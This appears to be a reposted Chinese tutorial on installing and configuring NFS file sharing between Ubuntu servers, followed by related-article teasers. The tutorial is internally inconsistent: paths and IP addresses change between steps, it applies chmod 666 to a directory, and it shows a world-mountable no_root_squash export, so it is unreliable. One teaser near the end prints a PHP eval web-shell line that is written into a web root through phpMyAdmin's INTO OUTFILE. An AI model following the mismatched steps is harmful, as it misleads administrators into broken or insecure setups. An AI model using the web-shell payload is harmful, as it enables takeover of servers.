Ubuntu 环境下 NFS 服务安装及配置使用

需求:公司内部有多台物理服务器,需要A服务器上的文件让B服务器访问,也就是两台服务器共享文件,当然也可以对A服务器上的文件做权限管理,让B服务器只读或者可读可写

1、NFS 介绍

NFS 是 Network FileSystem 的缩写,顾名思义就是网络文件存储系统,它允许网络中的计算机之间通过 TCP/IP 网络共享资源。通过 NFS,我们本地 NFS 的客户端应用可以透明地读写位于服务端 NFS 服务器上的文件,就像访问本地文件一样方便。简单的理解,NFS 就是可以透过网络,让不同的主机、不同的操作系统可以共享存储的服务。

2、环境、软件准备
两台服务器都是一样的:Ubuntu 20.04.3 LTS

3、NFS 服务安装

因为是A服务提供文件给B服务访问,所以这里就用A服务当做服务器

3.1 首先,在终端使用下列命令安装nfs:

# 服务端
apt install nfs-kernel-server# 客户端
apt install nfs-common

3.2 NFS 配置及使用
我们在服务端创建一个共享目录 /data/share ,作为客户端挂载的远端入口,然后设置权限。

mkdir -p /home/recall/fileshop
chmod 666 /home/recall/fileshop

然后,修改 NFS 配置文件 /etc/exports

sudo vim /etc/exports
/home/recall/fileshop 192.168.1.11(rw,sync,all_squash,no_subtree_check)

说明一下,这里配置后边有很多参数,每个参数有不同的含义,具体可以参考下边。此处,我配置了将 /data/share 文件目录设置为允许 IP 为该 10.222.77.0/24 区间的客户端挂载,当然,如果客户端 IP 不在该区间也想要挂载的话,可以设置 IP 区间更大或者设置为 * 即允许所有客户端挂载,例如:/home *(ro,sync,insecure,no_root_squash) 设置 /home 目录允许所有客户端只读挂载。
在这里插入图片描述

在这里插入图片描述

接下来,我们先启动 RPC 服务。

service rpcbind start
或者使用如下命令亦可
/bin/systemctl start rpcbind.service

查看 NFS 服务项 rpc 服务器注册的端口列表

rpcinfo -p localhostprogram vers proto   port  service100000    4   tcp    111  portmapper100000    3   tcp    111  portmapper100000    2   tcp    111  portmapper100000    4   udp    111  portmapper100000    3   udp    111  portmapper100000    2   udp    111  portmapper

注意:此时我们还没有启动 NFS 服务,只监听了 111 端口,接着我们来启动 NFS 服务,再来看下注册的端口列表。

启动 NFS 服务

service nfs start# 或者使用如下命令亦可
/bin/systemctl start nfs.service启动 NFS 服务后 rpc 服务已经启用了对 NFS 的端口映射列表
rpcinfo -p localhost
program vers proto   port  service100000    4   tcp    111  portmapper100000    3   tcp    111  portmapper100000    2   tcp    111  portmapper100000    4   udp    111  portmapper100000    3   udp    111  portmapper100000    2   udp    111  portmapper100024    1   udp  33745  status100024    1   tcp  36980  status100005    1   udp  20048  mountd100005    1   tcp  20048  mountd100005    2   udp  20048  mountd100005    2   tcp  20048  mountd100005    3   udp  20048  mountd100005    3   tcp  20048  mountd100003    3   tcp   2049  nfs100003    4   tcp   2049  nfs100227    3   tcp   2049  nfs_acl100003    3   udp   2049  nfs100003    4   udp   2049  nfs100227    3   udp   2049  nfs_acl100021    1   udp  38960  nlockmgr100021    3   udp  38960  nlockmgr100021    4   udp  38960  nlockmgr100021    1   tcp  38362  nlockmgr100021    3   tcp  38362  nlockmgr100021    4   tcp  38362  nlockmgr

我们发现,启动了 NFS 服务后,rpc 注册的端口列表明显增多。OK 现在服务端都启动起来了,在服务端看下是否正确加载了设置的 /etc/exports 配置。

$ showmount -e localhost
Export list for localhost:
/home/recall/fileshop 192.168.1.11

NFS 测试

最后,在另一台 Linux 虚拟机上测试一下,是否能够正确挂载吧。
首先,我们可以在客户端查看下 NFS 服务端 (上边服务端 IP 为:192.168.1.12) 设置可共享的目录信息。

 $ showmount -e 10.222.77.12Export list for 10.222.77.12:/home/recall/fileshop 192.168.1.11

然后,在客户端创建挂在目录 /share

$ mkdir -p /share

最后,挂载远端目录到本地 /share 目录。

mount 10.222.77.12:/home/recall/fileshop /share
df -h | grep 10.222.77.12
Filesystem                 Size  Used  Avail Use% Mounted on
192.168.1.12:/data/share   27G   11G   17G   40%  /share

可以看到,可以正确将远端 NFS 目录挂载到本地。注意:挂载点 /share 目录必须已经存在,而且目录中没有文件或子目录。

最后,我们在 NFS 服务端 /data/share 目录下创建一个文件,看下客户端是否能够正确读取并修改。

# 服务端写入
$ echo "This is NFS server." > /data/share/nfs.txt
# ll /data/share/
total 4
-rw-r--r-- 1 root root 20 Nov  5 16:49 nfs.txt# 客户端读取
$ ll /share/
total 4
-rw-r--r-- 1 root root 20 Nov  5 16:49 nfs.txt
$ cat /share/nfs.txt
This is NFS server.# 客户端写入
$ echo "This is NFS client." >> /share/nfs.txt# 服务端读取
$ cat /data/share/nfs.txt
This is NFS server.
This is NFS client.

都是木有问题的,这是因为上边设置了 NFS 远端目录权限为 rw 拥有读写权限,如果设置为 ro,那么客户端只能读取,不能写入,根据实际应用场景合理配置,这里就不在演示了。这里提一下,NFS 默认使用用 UDP 协议来进行挂载,为了提高 NFS 的稳定性,可以使用 TCP 协议挂载,那么客户端挂载命令可使用如下命令:

$ mount 10.222.77.86:/data/share /share -o proto=tcp -o nolock

最后,如果客户端要卸载 NFS 挂载的话,使用如下命令即可。

umount /share

好了,上边简单介绍了 NFS 安装及配置使用,使用它我们可以很方便的透过网络,让不同的主机、操作系统实现共享存储

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/183689.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端纯js导入导出json配置文件

在做后台系统需求的时候,有个需求是需要把当前表单配置导出,在另一个配置项下,导入这些配置,相当于做了一下配置拷贝。通常我们导出下载一个文件,是先向后端发起请求,由后端处理数据后,再返回文…

交调与互调

交调与互调 概念参考: 《高频电子线路》张肃文 《射频技术》于宝明、丁宁 交调(Cross-modulation) 如果接收机的前端电路选择性不够好,是有用信号与干扰信号同时加到接收机的输入端,而且这两种信号都是受音频调制…

jvm 调优参数

-XX:AlwaysPreTouch 指定JVM启动时即刻分配整个堆内存空间;应用启动会变慢,但是运行时变快。 -XX:MaxRAMPercentage60.0 指定JVM最大堆内存使用比例为60%;适用于容器部署 -XX:MinRAMPercentage60.0 指定JVM最小堆内存使用比例为60%&#xff1…

可以在电脑桌面展示工作计划表的软件

很多上班族都表示自己在工作时,会面临大量且复杂的工作任务,这时候就会拖延工作,或者感觉时间不够用,所以需要有明确的工作计划来指导自己如何分类时间和精力,确保每项工作任务都能够按时完成。如果需要制定每天的工作…

力扣labuladong一刷day22天二分搜索共2题

力扣labuladong一刷day22天二分搜索共2题 一、704. 二分查找 题目链接&#xff1a;https://leetcode.cn/problems/binary-search/ 思路&#xff1a;典型的二分查找&#xff0c;如果是左闭右闭那么说明left < right 。如果左闭右开那么说明 left < right class Solutio…

C++学习之路(十二)C++ 用Qt5实现一个工具箱(增加一个XML文本格式化功能)- 示例代码拆分讲解

上篇文章&#xff0c;我们用 Qt5 实现了在小工具箱中添加了《进制转换器功能》功能。为了继续丰富我们的工具箱&#xff0c;今天我们就再增加一个平时经常用到的功能吧&#xff0c;就是「 XML文本格式化 」功能。下面我们就来看看如何来规划开发一个这样的小功能并且添加到我们…

模拟算法【1】

文章目录 &#x1f600;1576. 替换所有的问号&#x1f606;题目&#x1f929;算法原理&#x1f642;代码实现 &#x1f60a;495.提莫攻击&#x1fae0;题目&#x1f609;算法原理&#x1f917;代码实现 模拟算法 通俗的来说&#xff0c;模拟算法就是依葫芦画瓢&#xff0c;将题…

React 签字手写签名组件 react-signature

安装依赖包 npm install uiw/react-signature示例代码 import React, { useRef } from "react"; import Signature from uiw/react-signature;export default function App() {const $svg useRef(null);const handle (evn) > $svg.current?.clear();return (…

Rust语言入门教程(十四) - 闭包Closure

什么是闭包 闭包在 Rust 中是非常强大的功能&#xff0c;允许你编写更灵活和表达性的代码。闭包的语法和功能在某些方面类似于其他语言&#xff08;如 JavaScript 或 Python&#xff09;中的匿名函数或 lambda 表达式。 在Rust中&#xff0c;当我们想要生成一个新的线程&…

[ISCTF2023] Crypto/PWN/Reverse

最近新生赛还挺多&#xff0c;不过这个开始后注册页面就被删了&#xff0c;没注册上。拿别人的附件作了下。 Crypto 七七的欧拉 这题只给了n,e,c这种情况一般正常没法解&#xff0c;猜n不正常 import gmpy2 import libnum from crypto.Util.number import *flagbISCTF{****…

【C/C++笔试练习】this指针的概念、初始化列表、const对象调用、构造和析构函数、继承和组合、重载和多态、虚函数的定义、计算日期到天数转换、幸运的袋子

文章目录 C/C笔试练习选择部分&#xff08;1&#xff09;this指针的概念&#xff08;2&#xff09;初始化列表&#xff08;3&#xff09;const对象调用&#xff08;4&#xff09;构造和析构函数&#xff08;5&#xff09;继承和组合&#xff08;6&#xff09;重载和多态&#x…

7Docker搭建es和kibana

一、安装es 1.拉取镜像 sudo docker pull elasticsearch:7.12.0 elasticsearch:7.12.0:我安装的版本是7.12.0&#xff0c;可以根据实际的情况安装 创建docker容器挂在的目录&#xff1a; sudo mkdir -p /opt/elasticsearch/config sudo mkdir -p /opt/elasticsearch/data s…

TA-Lib学习研究笔记(一)

TA-Lib学习研究笔记&#xff08;一&#xff09; 1.介绍 TA-Lib&#xff0c;英文全称“Technical Analysis Library”,是一个用于金融量化的第三方库&#xff0c;涵盖了150多种交易软件中常用的技术分析指标&#xff0c;如RSI,KDJ,MACD, MACDEXT, MACDFIX, SAR, SAREXT, MA,SM…

nacos配置变更导致logback日志异常

问题背景: 线上的服务突然内存爆满&#xff0c;查服务器突然发现&#xff0c;日志全部打印到了/tmp/tomcat.xxx.port目录下&#xff0c;后来对应操作时间&#xff0c;和nacos修改配置是同一时间发生的&#xff0c;但是疑惑的点是&#xff0c;nacos配置变更为什么会引起logback的…

OpenMMlab导出FCN模型并用onnxruntime推理

导出onnx文件 直接使用脚本 import torch from mmseg.apis init_modelconfig_file configs/fcn/fcn_r18-d8_4xb2-80k_cityscapes-512x1024.py checkpoint_file fcn_r18-d8_512x1024_80k_cityscapes_20201225_021327-6c50f8b4.pth model init_model(config_file, checkpoin…

基于Java SSM框架实现高校二手交易平台系统项目【项目源码+论文说明】

基于java的SSM框架实现高校二手交易平台系统演示 摘要 本论文主要论述了如何使用JAVA语言开发一个高校二手交易平台&#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将…

数据清洗和特征工程的关系是什么?有什么区别?

1.数据清洗独立于特征工程 数据清洗是独立于特征工程的&#xff1a;一方面&#xff0c;数据清洗不仅适用于机器学习项目&#xff0c;也适用于一般的数据统计分析过程&#xff0c;而特征工程仅适用于机器学习项目&#xff1b;另一方面&#xff0c;针对机器学习项目&#xff0c;…

001 - 安装Qt并配置环境

进入Qt中文网站的下载界面 &#x1f449;点此进入 点进去之后&#xff0c;你会看到如下界面&#xff1a; 这里下载的是Qt开源版的在线安装器&#xff0c; 如果你觉得下载速度很慢&#xff0c;可以挂个梯子。双击打开&#xff1a; 因为是在线安装&#xff0c;所以你需要输入电子…

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…

数据结构day4作业

1.单链表任意位置删除 datetype pos;printf("please input pos");scanf("%d",&pos);headdelete_all(head,pos);Output(head);Linklist delete_all(Linklist head,datetype pos) {if(pos<1||pos>length(head)||headNULL)return head;if(head->…